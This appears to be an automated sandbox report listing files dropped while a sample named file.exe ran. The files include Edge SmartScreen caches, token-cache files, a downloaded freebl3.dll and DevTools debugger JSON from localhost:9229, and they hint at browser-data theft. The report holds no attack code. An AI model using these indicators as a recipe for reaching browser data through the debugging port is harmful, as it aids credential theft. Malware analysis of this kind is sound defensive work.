Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.018303141047285
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXkp:YWLSGTt1o9LuLgfGBPAzkVj/T8lUp
MD5:	CA8D7C632FF28D7D2703CB7A00EBC2E3
SHA1:	1D1A3B73AEE6122130D91B319EC3FD88CD7BCEEE
SHA-256:	8A2E58F2E1991E6491B1E3E7BD6A6BB509A176CB734DEF083997376CFF93C966
SHA-512:	D79F1D51E72BEC8315EAF6B5CBCE6BF44556507091CF10E4A8F371B78C8F498BF7D1B53C26247166BD1C8DC28E6A509E2D009BB3E715FFA5162096DCE8CEE63F
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732488767472807}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b30b6d39-0d6b-400f-ba2e-3dc060ac223d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44996
Entropy (8bit):	6.095716269893977
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWf2Ei1zNtf92vHY3KKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yOsuMKtSmd6qE7lFoC
MD5:	773E0E5EA70EA19541B105974D20F114
SHA1:	1B08BEC47412C63C5D32695A93BAD41F3D673B79
SHA-256:	2AC479EAF1799E21BB0C7C642BA18043919B8AE26BC5EF78455CB7FDF3BBE0B2
SHA-512:	84F3F3E3C3A8E782F4D402DCF40F53F4AEAA2901D3A382B301B6631DB4377594C1CBA9BC262BEC34FB7DC5FC1EE36432CB81079DF70043C6DAB8E24D9803B76A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ba1ea560-36e0-441b-9b93-18612db88e62.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786615647244
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/di1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn5RkzItSmd6qE7lFoC
MD5:	C6BA644C3824F49A99E3AC71EBE5AD30
SHA1:	6DCDFB1DFFF7C59A22EC4D62628B1657F7BBE749
SHA-256:	2707C196DA0FD78BCC95D199AB5E92C5AD1DCBE3FCFA2585AC770919970EF7F5
SHA-512:	131123FF2BE98BF9D42D45C55C554025A1A7123CBF63C54ABDD6CAFF9AC94CA5D4C0FB9260406812F48E323522CF3E6B1DDF35E0D9E6BD77C48D352582282C41
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.835889214805307
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxyxl9Il8uX09Y9AaIL6BZKNC6zd1rc:mLY+O9AaINk6U
MD5:	4E2D3F8D5CA3B5F0EC43D42DEBD0D1EF
SHA1:	CAC98B37BF6D3F9B0343C9C0FD2147930A8C5D66
SHA-256:	D5EB9F6CAFF316E575E96D5E947EF139363743361CE7887BBCD4AE5352A73C9E
SHA-512:	755C7CE3C7F8E72ADF71C0D1A22577E22DBC6FCC4FB96FFBDEF41A0514535253B2D6CDEA0F4F9072A8814574D11175CCDF88E8515E09C51D8792B31F341CAD3C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.G.S.u.Q.+.E.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.F.Q.9.4.A./.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.007305522968045
Encrypted:	false
SSDEEP:	96:QY+GlX0tfiWcmYhD0ajjAkDFaGMPdnYggUM:QMk1+mw0yrZaGJVUM
MD5:	12D2D0FD8AB6454355F447DD3DA49E26
SHA1:	EB6C2CFF3C7939CA49602C3F5944B4704066A12C
SHA-256:	AAE16B7BFFD91C0539476BC388423424A198E9C1FC2F32A43AB0BC5FD248B4A7
SHA-512:	127A295B299744A508B5EE2B69541B627E9E57200B793CE8104B9071BF73AE5A0F48D806F036367B602F45B407F72391EBF25BA91D5EA72E8BAE5FF8C17F7ECE
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".u.m.7.B.K.d.k.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.F.Q.9.4.A./.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9043543997316066
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xUEuxl9Il8uX0tAcS60sbLTqbzCYZp5ttHSc9s/V/gLQd/vc:adKY+OcSlsbLObzCUJEdgLp
MD5:	3413D9AA849F5B6DCA05E2A0FC3D3636
SHA1:	12DC483962FB42A4232A0279FB3102EBD77B9596
SHA-256:	8513543ACD9C697971E7A28A24A9C99BE3F8732280AEEEC7AA82B9842720D2CD
SHA-512:	888636F445FDFBB4101FCDB55E044873CE25DF6C2D1A58FAF3B9882DE4CA96BBD1AC0172DCE860267115281B8238B9610DCC39346E81EB5EB7CB8BC00ABA24C4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".8.+.H.m.W.a.p.c.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.F.Q.9.4.A./.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.40127601979644
Encrypted:	false
SSDEEP:	96:6NnQ/KHQ6NnQYbQ1NnQc9QfNnQddgEQENnQhIvQh8NnQjoDQGNnQFubwQFENnQtf:6NgaNMN2Nc9NQI48NZpNPmNC
MD5:	3AD4BB1C2E21108371507D991A8500EF
SHA1:	BFE8661F9F77962743FC15C2996D37AD847CBC44
SHA-256:	68155818ACB1753992C4B88C07C7080403CAF45DB631E6E0E26429D2509D155E
SHA-512:	FF2F2D11CF759C1F12541C0C06D3611F9CDE600E1B196A2EF903BCBA285828AFAC7C8D094E5F6FD2BFC107E11F0A03B0CE895ADC64D610921A6D40FADC503395
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7ACE5BB126362B1FE4B9D8C574CC4A5D",.. "id": "7ACE5BB126362B1FE4B9D8C574CC4A5D",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7ACE5BB126362B1FE4B9D8C574CC4A5D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F071B6F9BB02F76E10543AAA3E041D6D",.. "id": "F071B6F9BB02F76E10543AAA3E041D6D",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F071B6F9BB02F76E10543AAA3E041D6D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.388026394690369
Encrypted:	false
SSDEEP:	48:SfNaoQwwYwhTEQww/fNaoQWx1QWYfNaoQ7VHQ7FfNaoQgXYT0UrU0U8Qgy:6NnQwwYwhTEQwwXNnQIQRNnQxQNNnQ3Q
MD5:	FCCC3E3BB2A58743383F12F3C1E8BA1E
SHA1:	DD796A0EEE9D6B7E88BC0585FC233A767854CC46
SHA-256:	6604DA9A2EB3BAB1938EB7F005BC6B4F6C1D272CE8E24ED5E161DAFFF2760B23
SHA-512:	6D1FCC27E48E77F32548076AFBACAC3862533E3CC6BE16C734D7E0477CAB9AF4AAF93D35A67C725A63E199285EE0075A236B154D42E6BD2CA1816E41FB492FFB
Malicious:	false
